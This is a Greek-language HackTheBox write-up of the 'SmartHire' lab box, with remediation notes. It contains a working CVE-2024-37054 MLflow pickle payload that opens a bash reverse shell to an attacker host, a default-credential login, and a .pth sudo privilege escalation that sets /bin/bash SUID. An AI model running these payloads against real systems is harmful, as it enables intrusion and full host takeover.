Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: SmartHire

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το SmartHire είναι ένα box MLOps, και τα δύο μισά τιμωρούν την εμπιστοσύνη σε input που δεν έπρεπε. Ένα vhost scan φέρνει στην επιφάνεια ένα subdomain models. που τρέχει MLflow 2.14.1 με το default admin:password. Από εκεί, το CVE-2024-37054 οπλοποιεί το ίδιο το model format του MLflow: τα models αποθηκεύονται ως Python pickles, οπότε κάνεις register ένα model, αντικαθιστάς το python_model.pkl του με ένα κακόβουλο cloudpickle, και τη στιγμή που η εφαρμογή τρέχει μια πρόβλεψη το pickle κάνει deserialize και εκτελείται — shell ως svcweb. Το root είναι μια μικρότερη, πιο κοφτερή παγίδα: ο svcweb μπορεί να κάνει sudo ένα script διαχείρισης που τρέχει ως root, και ο φάκελος plugins που φορτώνει αυτό το script είναι εγγράψιμος από την ομάδα. Ρίχνεις ένα αρχείο .pth εκεί και η Python το τρέχει ως root κατά την εκκίνηση του interpreter, πριν το script κάνει απολύτως τίποτα.
vhost: models.smarthire.htb → MLflow default creds → CVE-2024-37054 pickle RCE → svcweb → sudo mlflowctl.py + writable plugins/dev → .pth → root

Αναγνώριση

SSH και μια πρόσοψη nginx. Το web root κάνει redirect στο smarthire.htb — μια εφαρμογή hiring-portal — οπότε η ενδιαφέρουσα επιφάνεια είναι πιθανότατα αλλού, πάνω στο vhost.

nmap
$ nmap -p- --min-rate 1600 -sVC -Pn --open <TARGET> 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 80/tcp open http nginx 1.18.0 (Ubuntu) (→ smarthire.htb)

Κάνουμε fuzz για vhosts. Εμφανίζεται ένα subdomain models. — και μια γρήγορη ματιά λέει ότι είναι MLflow, ο server model-registry/experiment-tracking.

vhost fuzzing
$ ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" \ -w subdomains-top1million-20000.txt -t 160 -fc 302 models [Status: 200] $ curl -s http://models.smarthire.htb/ -o /dev/null -w '%{http_code}\n' 401 # HTTP basic auth μπροστά από το MLflow

Foothold — MLflow default creds → CVE-2024-37054

Το prompt basic-auth υποκύπτει αμέσως στο admin:password, και το API επιβεβαιώνει MLflow 2.14.1. Αυτή η έκδοση είναι ευάλωτη στο CVE-2024-37054, ένα deserialization RCE. Η ριζική αιτία είναι δομική: το MLflow αποθηκεύει τα models pyfunc ως Python pickles (python_model.pkl), και το φόρτωμα ενός model κάνει unpickle αυτό το αρχείο. Όποιος μπορεί να γράψει τα artifacts ενός model μπορεί επομένως να επιλέξει ποιος κώδικας τρέχει όταν το model φορτωθεί.

MLflow — default creds
$ curl -s -u admin:password \ 'http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search' 200 OK # authenticated στο MLflow 2.14.1

Η ίδια η εφαρμογή SmartHire είναι το όχημα παράδοσης. Το PoC του jimmexploit αυτοματοποιεί όλο τον κύκλο: κάνει register έναν λογαριασμό στο smarthire.htb, ανεβάζει ένα CSV για να εκπαιδεύσει ένα model (που δημιουργεί ένα registered model + run στο MLflow), μετά κάνει PUT ένα κακόβουλο python_model.pkl πάνω από το εκπαιδευμένο και χτυπάει το /predict της εφαρμογής ώστε να φορτωθεί το δηλητηριασμένο model. Το payload είναι ένα αντικείμενο cloudpickle του οποίου το __reduce__ επιστρέφει os.system(<reverse shell>):

το payload (cloudpickle __reduce__)
cmd = "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" class Exploit: def __reduce__(self): return (os.system, (cmd,)) # τρέχει κατά το unpickle pkl = cloudpickle.dumps(Exploit()) # PUT ως model/python_model.pkl
CVE-2024-37054 → shell
$ python3 shell.py --lhost <LHOST> --lport 4444 --atoz [+] Registration successful! [+] Login successful! [+] Model name: ...-model [+] run_id: 7ccc3540... [+] Payload size: 89 bytes [+] Upload successful! [*] Triggering /predict to execute payload... [*] Response: 500 {"message":"'int' object has no attribute 'load_context'"}
Αυτό το 500 μοιάζει με αποτυχία, αλλά είναι το σημάδι ότι δούλεψε: το pickle κάνει deserialize πριν το MLflow προσπαθήσει να το χρησιμοποιήσει ως model, οπότε το os.system πυροδοτείται κατά το unpickling και το reverse shell είναι ήδη ζωντανό — το MLflow σφάλλει μόνο μετά, όταν διαπιστώνει ότι το αντικείμενό μας δεν είναι πραγματικό model. Αγνόησε το 500 και έλεγξε τον listener σου.

Shell ως svcweb, και το user flag είναι εκεί ακριβώς. Αξίζει να σημειωθούν οι συμμετοχές σε ομάδες — έχουν σημασία για το root:

svcweb → user.txt
svcweb@smarthire:~$ id uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs) svcweb@smarthire:~$ cat ~/user.txt [redacted — user flag]

Root — ένα αρχείο .pth σε έναν εγγράψιμο φάκελο plugins

Το sudo -l δείχνει έναν κανόνα, και είναι ένα wildcard πάνω σε ένα Python script που τρέχει ως root:

sudo -l
$ sudo -l User svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Η προφανής κίνηση είναι argument injection μέσα από αυτό το *, αλλά ο καθαρότερος δρόμος είναι ο plugin loader του script. Το mlflowctl.py καταχωρεί τον φάκελο plugin του ως site directory (site.addsitedir('/opt/tools/mlflow_ctl/plugins/dev')), και — το κρίσιμο — αυτός ο φάκελος είναι εγγράψιμος από την ομάδα devs, στην οποία ανήκει ο svcweb:

ο εγγράψιμος φάκελος plugin
$ ls -la /opt/tools/mlflow_ctl/plugins/dev/ drwxrwxr-x 2 root devs 4096 .

Εδώ είναι το κόλπο. Όταν η Python επεξεργάζεται ένα site directory, διαβάζει κάθε αρχείο .pth μέσα του — και κάθε γραμμή που ξεκινάει με import εκτελείται ως κώδικας, κατά την εκκίνηση του interpreter, πριν τρέξει η main(). Οπότε ένα μονογραμμικό .pth που ρίχνει ο svcweb τρέχει ως root τη στιγμή που ξεκινάει η sudo'd python3.10:

.pth hijack → SUID bash → root
$ echo 'import os; os.system("chmod +s /bin/bash")' \ > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth $ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status [+] MLflow service status: active # το .pth έτρεξε ήδη ως root $ ls -l /bin/bash -rwsr-sr-x 1 root root 1396520 /bin/bash $ /bin/bash -p -c 'id; cat /root/root.txt' uid=1000(svcweb) euid=0(root) groups=0(root),1000(svcweb),... [redacted — root flag]
Δύο συστατικά έπρεπε να ευθυγραμμιστούν: ένας κανόνας sudo NOPASSWD πάνω σε έναν interpreter, και ένας φάκελος plugin που εμπιστεύεται μέλη ομάδας να γράφουν κώδικα μέσα σε μια root διεργασία. Το καθένα μόνο του είναι βιώσιμο· μαζί είναι root με μία γραμμή. Αν ένα πρόγραμμα πρέπει να τρέχει με προνόμια, τίποτα στο import/site path του — plugins συμπεριλαμβανομένων — δεν πρέπει να είναι εγγράψιμο από μια λιγότερο έμπιστη ομάδα, και το sudo πρέπει να δείχνει σε ένα σταθερό, κλειδωμένο entry point, ποτέ σε έναν interpreter με wildcard.

Γιατί Δούλεψε

→ svcwebΤο MLflow εκτεθειμένο με default admin:password + models αποθηκευμένα ως pickles → CVE-2024-37054 deserialization RCE (CWE-502 / CWE-1188)
→ rootNOPASSWD sudo πάνω σε python3.10 <script> του οποίου ο φάκελος plugin site.addsitedir είναι εγγράψιμος από την ομάδα· η Python εκτελεί γραμμές import των .pth κατά την εκκίνηση (CWE-426 / CWE-732)

Βασικές εντολές

γρήγορη αναφορά
# 1. αναγνώριση → vhost MLflow ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -w subdomains-20000.txt -fc 302 curl -su admin:password http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search # 2. CVE-2024-37054 pickle RCE → svcweb (user.txt) python3 shell.py --lhost <LHOST> --lport 4444 --atoz # register + εκπαίδευση + δηλητηρίαση + /predict nc -lvnp 4444 # πιάσε το shell # 3. .pth path hijack → root (root.txt) echo 'import os; os.system("chmod +s /bin/bash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status /bin/bash -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗